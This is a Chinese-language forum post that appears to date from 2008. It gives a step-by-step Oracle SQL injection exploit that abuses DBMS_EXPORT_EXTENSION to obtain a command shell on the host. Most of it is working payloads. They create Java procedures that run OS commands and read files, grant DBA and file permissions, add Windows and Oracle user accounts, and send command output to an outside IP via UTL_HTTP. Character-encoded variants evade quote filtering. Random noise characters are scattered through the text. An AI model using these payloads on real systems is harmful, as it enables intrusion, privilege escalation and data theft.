; ?. z% H$ }" O% z
6 ]! l3 w. }2 @% e: U, N介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
, }+ o1 U$ m- C. p. n' g) G" L- n# {) q
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成7 Q! ] \$ z% z* X
3 C/ g, O* l, T2 f6 D/ b/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
% s5 o: v$ f0 W, K6 I- o* `& ~% l. O9 _: Y) W
的形式即可。(用" 'a'|| "是为了让语句返回true值)" [0 ] C' }1 C9 I% F1 P/ n8 u5 n
2 k8 M. |0 a) r9 u8 u/ ^1 y语句有点长,可能要用post提交。- I4 x5 \2 h) x# y6 o
! j7 m) Q4 F! `% a$ ^; i
/ X! `" b7 e3 t( e
4 N2 n. @% i: `5 q5 b3 f+ g* f1 o以下是各个步骤:) g# Q% I l: k) m$ d
Q" J) f$ q4 O7 m% F- L1.创建包
8 L$ [4 x3 S8 D通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
" D" P3 j* Q$ I" A6 ^0 w5 s# o* f2 A3 ^/ y
/xxx.jsp?id=1 and '1'<>'a'||(
8 o4 ?" F& H4 }- i+ U+ a
+ \0 }; ~+ t* N- Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 l& n% g% y! L! ~6 _
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(* `7 @6 C2 o# i, F" C' {, l' [
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}" \, L' V5 A: P) B5 }$ f- c
}'''';END;'';END;--','SYS',0,'1',0) from dual6 `0 W! Y# `5 a, |2 F4 _
+ _ {/ Z( E0 Y8 s: `1 b)
9 |- ?1 m+ Q7 `& B, N
; t+ @6 @; g, |0 n a" X& {/ h------------------------
/ a$ A. [0 p9 P; A/ P2 h如果url有长度限制,可以把readFile()函数块去掉,即:+ P1 a+ Z# g! j. S, u K
/xxx.jsp?id=1 and '1'<>'a'||(8 T/ V! _! i/ g
) [8 R" v. R- g# ^; U! v! lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 [4 t9 \; G) P1 X4 g# i R. C( H
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 [; m2 c; S$ a7 q& ]new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 M1 I* U6 A7 o2 c$ T
}'''';END;'';END;--','SYS',0,'1',0) from dual
, T! w- @" O0 F% `0 h1 Y
) K3 H3 ~, c5 a4 Z)7 N8 `! S; {/ u) H: Y4 B9 v
j3 d3 N7 p9 h! G* A/ Z5 {
同时把后面步骤 提到的 对readFile()的处理语句去掉。9 y" x! o: i" b' ^* D
------------------------------
* H( R# [1 F2 |4 W1 D( U+ M Y
[% T1 j. K" {: E: R0 @5 x2 L/ ^2.赋Java权限
: u2 e7 m& I; F X) h2 G
. P2 Q! ] H, Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
& k' P7 N( u: b( X9 H0 o: ?; S( J9 I6 U. l9 n6 \
# [: \5 X4 k8 Q9 `# C8 d: m$ w9 t' D0 A: s6 k" q: w& \- m Z0 k
3.创建函数* m7 O8 q$ n+ w: K v' O
5 A X) r) a8 u0 h! sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' S- h% _! e3 o+ A2 w1 l/ ^
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual2 ?' E) r) n; j! `, Z
# Q! k \* M( nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': e) x, R% x$ J
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
) w) \2 h9 B6 o, b/ f8 r v
& M$ |# X$ Q. f# J7 m+ O7 S) u4.赋public执行函数的权限5 j' l p, i4 ?, |$ t
5 g* y/ G z7 Q+ ?. W- y8 G
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual/ K- r0 D8 w) ]. ]) R2 T: l' H
0 s7 q1 r+ e0 l' a/ q2 _& b
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual, v$ }; b' T: [9 \( v, D* P9 r
4 U$ j+ p) y4 C& ?. Z
+ j; ^) s) ^/ x0 e+ P
8 c) h. T4 |- N# a3 A9 Y) { g5.测试上面的几步是否成功
) r/ ~1 e) \0 k
$ C3 `4 [* o& {) ^- E+ r) F! dand '1'<>'11'||(
# D$ z8 _1 e# E8 @8 uselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
' ?2 L# t+ v) }% }' q. I)( [8 a' r3 n, o5 U5 x
% O5 }$ W$ j# d9 f& E. `( h/ C
and '1'<>(
: I8 I2 F( }( h. Fselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'
% n6 k! f J6 o% a; n)
. f0 ? X) g. f
) m1 X4 p. z, u" E3 _" S; G5 l& s6.执行命令: J# q, E1 z6 d& V8 L- w/ r
/ D) z' ]& S6 v
/xxx.jsp?id=1 and '1'<>(8 P4 p& \* i/ V& D
select sys.LinxRunCMD('cmd /c net user linx /add') from dual8 V( i2 p% O$ S
)
! x/ O+ x$ i0 h) P' ^' }$ X& {
+ m1 v- e, E4 Y9 {# B3 x1 @7 y/xxx.jsp?id=1 and '1'<>(9 R$ o2 B W) a* g" u( C
select sys.LinxReadFile('c:/boot.ini') from dual; r3 h' ?4 O. y* @
)
( `6 N) ?! I3 J& }( p( s" h) w, W5 N, g
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
. m: H0 O9 l+ E' F如果要查看运行结果可以用 union :
7 i( n! V* F+ y1 ]$ l; I8 C% s/ t5 ^- T3 z/ N! b, q5 x6 F
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual7 p- D1 j2 \$ h7 ^
) g% N& `* M8 Y' |
或者UTL_HTTP.request(:3 c5 _7 O( W) h+ `+ W0 x1 x/ A
$ k$ O0 h" {2 `8 U; x: B1 _ `8 e
/xxx.jsp?id=1 and '1'<>(
- i/ b, \2 ]/ S* `9 DSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual1 D, p5 a9 c/ X. h
): A" w6 I q1 Q/ L' R7 u" k, U
# X, }/ m# ~ t4 F; w9 J C1 ]
/xxx.jsp?id=1 and '1'<>(
% h X0 r6 c6 }( \5 K* @) V/ k* nSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual" {' x; G" `! U' @7 g
)
' J8 x" y9 e) S' P
3 \4 [2 b4 ~9 v! | E注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。# x [7 |" ]" U1 O
' N' s) t& q* ^1 u7 n( q- g9 Q& P; g: M/ ^, W5 D; e) O
5 A9 @' m2 K% A! q' z& k/ j
# l* W6 v; F; g8 e
5 Z) a/ K/ k3 d. ^--------------------) S% ~, K* z0 q. i
+ z. A1 \8 r* G5 n) J7 @
6.内部变化" f! d$ Z$ X3 E% l. O
通过以下命令可以查看all_objects表达改变:5 k0 X/ X' P6 r% f. b
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'7 o4 A! \& ?! X& @
0 F& l$ f0 f- C' G+ ^" q
7.删除我们创建的函数
# b" M1 a; x4 U- ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 [, H! j* F6 _drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
) `1 ]) X' i" r, K h0 v% h& D4 |: p
6 B6 \3 I3 T2 P D- n4 Y
# d H+ ?2 k4 W" Z, A
( n g2 M9 f6 Y1 i( d' d' A4 ?9 p0 ^1 u- Y
; H6 Y3 x2 B) o0 m3 J$ }' I
====================================================2 @$ w0 W; I' D+ g5 Q" j
全文结束。谨以此文赠与我的朋友。5 X: [& l, I" g" @3 D
; u! o7 P9 j/ V- olinx
3 L' S' t- Z5 D! H/ o- D124829445
# T( D- ]. c7 J2008.1.120 X4 Q# Z5 j2 e0 U
linyujian@bjfu.edu.cn+ S% A: l3 D' W, _8 E; I
7 o- i l* W9 P
- j9 ~, U- H/ ]: ^/ P5 H
& @8 G3 i& L4 @3 m2 Q* x o: E/ r
4 u6 `1 R' B4 X3 ]2 d) @. K/ A' V- x2 {. y1 C! ^
======================================================================
3 H- g; m% J& k% n6 q$ v+ @$ w# h9 l( m
测试漏洞的另一方法:# W- u% Z: f$ S1 |$ m6 S9 z
2 q- j- g6 N" K4 _% Q7 {
创建oracle帐号:( `4 a: S: u4 u, Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! e8 Y; N# T" k9 ?6 _* k7 BCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual3 ]6 H6 n% e& U, v& J
; @+ R: O3 ~( z* r即:
' b2 \3 N: J5 ?- {: `select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),! X7 M; {4 z+ b. a' d, Q
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 F1 s1 e6 y/ j, F q, X9 a- t$ g1 f
确定漏洞存在:% M- |$ B3 P9 u& G3 {9 H0 L5 U S
1<>(6 R- ^1 [/ _2 s
select user_id from all_users where username='LINXSQL'7 f% a5 S; i4 k& h/ p
)
+ J6 ?3 {) ]# J: o2 V
7 S2 R4 G+ \ Y给linxsql连接权限:
' k9 g# N& z& Kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ j/ j3 t" U. B9 C; o+ dGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual, x7 ^8 o1 X0 \& Q4 ]0 @4 E+ [
$ K' t, S9 @8 }- O' {删除帐号:, G- g5 Z0 F! K5 W; k: U
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 J+ A7 c7 _7 `- A. g# _drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
5 u4 E' p* U, ]1 X% a; W z: C3 o P# V/ ]
======================( a4 u2 l- j! J' ?
/ C3 f) G6 R1 \. B$ ?* E
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:, V9 \, _7 |+ o3 i% H! }; ?
6 j8 y% H9 d+ o6 G
1.jsp?id=1 and '1'<>(
! O5 u; |% _6 j9 \; ~/ Nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''; C- Q, ^! }% b$ u$ H- l* V2 k* z! }
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
9 x9 w$ p& p) j) and ...
4 V# D8 I( {6 n7 E* | E# w5 w' M$ o. Z2 H0 d9 g
1.jsp?id=1 and '1'<>(; Q) L8 `6 n- P2 K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual( ^5 A( ], p) |% C$ H) E8 H
) and ...2 T3 f, O5 n+ S# T* b4 X5 d8 T
$ p' K( [5 D7 a+ i/ R% P4 d3 b1.jsp?id=1 and '1'<>(
& R& }! v! p0 B7 v6 {9 @SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL! J$ k9 y* J6 Z5 X, K5 B4 |
) and ...# j0 z! n4 v" m; L
) O: f1 a9 h" u( h# `
( c( {( j$ z( f& ?- ~" t2 g
% k8 V! p3 f* g5 u% w
1.jsp?id=1 and '1'<>( C, \# F$ |/ k2 m$ ]/ ]" b: t
SELECT sys.Linx_Query('declare pragma. f: h$ f3 M6 V4 O* M
autonomous_transaction; begin execute immediate ''% b5 g* c3 G( l8 Z+ ~; s1 X( o4 b& {
select 1 from dual
' c, \, h$ F4 H, |: l# r4 d''; commit; end;') from dual
( l. {$ { h8 {+ A% W% o* G0 ~) and ...
3 g1 q; z# C' m0 J& Z) I
' y/ g* ]& A5 |6 ]- M. v7 j' Q5 c: Z多语句:
5 }6 Z3 `* g+ i$ v* ISELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual+ M7 t3 J& k- @& F3 W g
4 ]) c- l7 I5 p7 A
创建用户(除非当前用户有system权限,否则无法成功):
3 C! g+ G, h/ ? }+ SSELECT sys.Linx_Query('declare pragma4 d5 c9 ?" _0 R. h- U5 d4 e- h9 k
autonomous_transaction; begin execute immediate ''
+ K' v, F8 {0 }/ W I0 I: zCREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User% H# K+ e% q+ J! U0 r6 v
''; commit; end;') from dual
, r: d) s# D% a* v0 y0 I2 C5 @8 G R5 ?6 B, K
m6 E* g6 W; [7 i. h# a
) l* x4 _6 b6 P5 _( Z, f
! J. ]% L T6 p1 | u/ n7 z- y( o$ y, [; p a- `5 p6 H7 ^
================% P: J! K5 `: t {+ A
以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
) j2 [) C9 ]) P! E; g* B+ d! Z5 V) l$ I! u4 r
1.创建函数9 X @; ^- h0 ?: s0 n: X( C
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! ?; h5 _+ x4 ]0 g
create or replace function Linx_Query (p
* V+ ?3 f1 K) w/ k/ v" ?varchar2) return number authid current_user is begin execute immediate
, \/ \3 s; t5 ^7 o, vp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
Y; b2 C7 O, }5 M
7 v6 x- L) J+ y3 u1 G6 K, l1 y如果有权限,以下语句应该允许正常
& q& A @ `9 D6 xselect sys.linx_query('select 1 from dual') from dual;
% K" \: Q' r7 @! O" n6 F5 n9 l# Z) o W' x' n
不然的话运行:
% a& l3 ~# G1 J2 J1 x% ^2 Q& n0 Y- u8 y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( e: V) F$ B0 _grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
& S4 \. }# f# e) n
! ]% Q9 R- C6 e9 m# N6 A/ o$ g6 A" J5 f, v; m. ]
% R1 D% Z* U4 L8 L% x& b7 X8 f
2.创建包/ f2 M: \7 T$ R. _" c! m0 ]
SELECT sys.Linx_Query('declare pragma
) k; V0 j. D+ M/ g- yautonomous_transaction; begin execute immediate ''
9 ?0 L3 d9 ^6 Y* m/ Icreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(! m3 G$ R$ N J5 i( V
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual T* V5 V' p+ b3 ^ {
" h3 y. w0 r. h5 e" g, J
3.创建函数. k, y# `/ O( p' V
SELECT sys.Linx_Query('declare pragma- |" h9 C$ J& N, H" y5 a
autonomous_transaction; begin execute immediate ''
* N1 @7 W) A2 [" d- h9 ?8 f* {create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
# H) @& t v. T) N
5 p0 x7 w: W3 O0 {" z8 ]4.给权限
: m- [. h7 t9 i$ s3 | m给用户SYSTEM执行权限:* a7 T1 C" M% l
2 o; x7 `! B, p
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
, G. x% B! _' J" @8 O% k: o$ d2 k j) V8 T8 }! l( z8 x
1 k5 p( T! d6 Q3 i0 A0 s
$ _) x' f: W) D( J
5.执行函数+ \- a+ J& Z' y; @% N( P
select RunCMD2('cmd /c dir') from dual( ?# [" u0 V9 Q. D: j( F
0 ~1 P: e+ W9 [- l# w# b
b+ _9 m( H" a3 s- q8 U5 }
( a- p; d0 R4 C6 X2 R8 Y
2 l7 D, b2 b) A+ [
' q5 `" K: f1 s5 N==================6 V5 ?* {: ^, t- B+ R9 n; g
================================4 G$ w7 x z) B. L" W& G- D: y
- ?' P ~. l5 m v' L" C( m$ l0 J
以下是无 " ' " 版:$ a/ d0 ~# q/ f- c
7 M# m* w) N u/ _$ [, b! \以下是各个步骤:* Y2 y+ L3 F, O. ~' F8 d Y
: Z1 i3 g+ ]" \! w8 i
1.创建包# ]* q3 Z7 \8 \: \
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:" r9 K* c ?5 y1 n" i# [# p4 [
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:* i' { E0 D6 a; z8 y, z* S2 ~
0 g1 D5 z2 {, `2 g# r/xxx.jsp?id=1 and chr(49)<>chr(50)||(
; T. u- l5 s7 m* y9 T$ q4 z
0 I. c7 G/ a! g0 g+ p0 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),8 l4 W2 @3 n* _, r) D
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||3 K2 h7 H ~/ r Q
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||2 _. E+ B$ o) x6 u
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
' @. T* n, _ [% ~chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||8 ?; I) \+ A9 ?& j- m
chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||" D6 n! {8 f4 q
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||8 _/ l6 C7 O+ f P. X4 y# m3 O) ^
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
1 n! h% J8 O0 Q$ v/ g+ J5 gchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||( e, p# h3 ]3 _: M6 b0 o: k. F
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
$ ?. P! n' w' Tchr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
+ H! g! G9 m7 k' ]# Z* Nchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
& A6 {& M0 N6 C8 ?/ a9 bchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
3 P- o9 _- {$ W0 j, o+ N$ I/ ^chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||( y( _0 H9 o4 ]5 Y( v% w, S
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||$ M9 e2 ]5 B' f* D) P
